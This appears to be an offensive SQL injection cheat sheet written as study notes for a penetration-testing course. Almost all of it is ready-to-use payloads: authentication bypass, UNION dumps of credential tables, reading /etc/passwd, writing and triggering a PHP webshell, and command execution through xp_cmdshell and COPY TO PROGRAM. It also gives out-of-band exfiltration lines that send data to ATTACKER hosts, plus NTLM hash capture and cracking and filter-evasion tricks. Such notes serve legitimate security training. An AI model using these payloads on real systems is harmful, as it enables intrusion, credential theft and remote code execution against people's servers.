SQL Injection
Manual SQLi from the CWES path: auth bypass, column discovery, UNION dumps, schema enumeration, file read/write to webshell, error-based, blind boolean/time, WAF bypass, and MSSQL/PostgreSQL/Oracle specifics. Every payload separated.
Detection
Step 1 — Trigger a syntax error
In Burp Proxy, intercept a request and send to Repeater. Inject ' into every parameter one at a time:
param='
A database error, changed response length, or unexpected result → parameter reaches a SQL query unsanitised.
Step 2 — Confirm with comment syntax
param='-- -
param='#
param=''
If the single quote + comment returns a normal response (no error) → confirmed injection — you’ve closed the string and commented out the rest of the query.
Step 3 — Boolean test (no error shown)
If errors are suppressed, use true/false conditions to detect a difference:
' AND 1=1-- - ← true → normal response
' AND 1=2-- - ← false → changed/empty response
Step 4 — Time-based blind (no visible difference)
If neither error nor boolean difference is visible:
'; IF (1=1) WAITFOR DELAY '0:0:5'-- - (MSSQL)
' AND SLEEP(5)-- - (MySQL)
' AND 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
A 5-second delay confirms blind injection.
Step 5 — Determine number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - ← error here → 2 columns
Then find which column is reflected:
' UNION SELECT NULL,NULL-- -
' UNION SELECT 'a',NULL-- -
' UNION SELECT NULL,'a'-- -
Auth bypass
Classic always-true:
' or '1'='1
OR with comment (numeric columns):
' or 1=1-- -
Comment out the password check (known username):
admin'-- -
With a closing parenthesis:
admin')-- -
MySQL hash comment:
' OR 1=1#
Column count (ORDER BY)
Increment until it errors; last working number = column count:
' order by 1-- -
' order by 4-- -
Confirm with NULL padding:
' UNION SELECT NULL,NULL,NULL,NULL-- -
UNION enumeration
Find displayed columns:
cn' UNION select 1,2,3,4-- -
DB version:
cn' UNION select 1,@@version,3,4-- -
Current user and database:
cn' UNION select 1,user(),database(),4-- -
List databases:
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
List tables in a database:
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
List columns in a table:
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Dump the data:
cn' UNION select 1,username,password,4 from dev.credentials-- -
Combine columns with group_concat:
' UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- -
File read / write (FILE privilege)
Check write access (secure_file_priv must be empty):
cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
Read a file:
cn' UNION SELECT 1,LOAD_FILE("/etc/passwd"),3,4-- -
Write a PHP webshell to the web root:
cn' union select "",'<?php system($_REQUEST[0]); ?>',"","" into outfile '/var/www/html/shell.php'-- -
Trigger it:
curl http://TARGET/shell.php?0=id
Error-based (MySQL)
Database name via extractvalue:
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
Current user via updatexml:
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
Blind boolean
First char of admin’s password is ‘a’?
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='admin')='a'-- -
Binary search on ASCII value:
' AND ASCII(SUBSTRING((SELECT database()),1,1))>64-- -
Blind time-based
MySQL:
' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)-- -
MSSQL:
'; WAITFOR DELAY '0:0:5'-- -
PostgreSQL:
'; SELECT pg_sleep(5)-- -
WAF / filter bypass
Inline comment for spaces:
' OR/**/1=1-- -
URL-encoded tab for space:
' OR%091=1-- -
Hex-encoded ‘admin’:
0x61646d696e
Double-writing keywords (filter strips once):
' UNIunionON SELselectECT NULL-- -
Database-specific RCE
MSSQL OS command:
EXEC xp_cmdshell 'whoami';
Enable xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
PostgreSQL RCE via COPY:
COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt';
OOB Data Exfiltration
MySQL — DNS via LOAD_FILE UNC path (Windows target)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.ATTACKER.com\\x'))-- -
Capture with Responder or tcpdump. The DNS lookup carries the exfiltrated data as a subdomain.
MySQL — HTTP via INTO OUTFILE + curl
' UNION SELECT 1,2,3 INTO OUTFILE '/tmp/out.txt'-- -
Or trigger via a UDF if installed:
SELECT sys_eval('curl http://ATTACKER/?d=$(cat /etc/passwd)');
MSSQL — xp_dirtree DNS exfiltration
'; DECLARE @q VARCHAR(255); SET @q='\\'+CAST((SELECT TOP 1 name FROM master..sysdatabases) AS VARCHAR)+'.ATTACKER.com\x'; EXEC master..xp_dirtree @q-- -
Oracle — UTL_HTTP / UTL_INADDR
' UNION SELECT UTL_HTTP.REQUEST('http://ATTACKER/?d='||user) FROM dual-- -
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.ATTACKER.com') FROM dual-- -
PostgreSQL — COPY TO PROGRAM
'; COPY (SELECT current_database()) TO PROGRAM 'curl http://ATTACKER/?d=$(cat /etc/passwd)'-- -
MSSQL NetNTLM Hash Leaking via xp_dirtree
Forces the MSSQL service account to authenticate to your SMB server, leaking a crackable NTLMv2 hash.
Step 1 — Start Responder
sudo responder -I tun0 -v
Step 2 — Trigger via SQLi
'; EXEC master..xp_dirtree '\\ATTACKER_IP\share'-- -
Alternate:
'; EXEC master..xp_subdirs '\\ATTACKER_IP\share'-- -
Step 3 — Crack the NTLMv2 hash
hashcat -m 5600 mssql_hash.txt /usr/share/wordlists/rockyou.txt
Second-Order SQL Injection
The payload is stored safely (parameterised INSERT) but used unsafely in a later query — bypasses input sanitisation at the entry point.
How it happens
// Safe — parameterised insert
$stmt = $pdo->prepare("INSERT INTO users (username) VALUES (?)");
$stmt->execute([$_POST['username']]);
// Unsafe — uses stored username from session directly
$query = "UPDATE users SET password='$newpass' WHERE username='$username'";
Exploit pattern
- Register with username:
admin'-- - - Log in, then change your password.
- The backend runs:
UPDATE users SET password='newpass' WHERE username='admin'-- -' - The
-- -comments out the rest — admin’s password was changed.
Time-based blind confirmation
Store in the username field:
a'+(SELECT SLEEP(5))+'a
Trigger the code path that reads and uses the username → 5-second delay confirms second-order injection.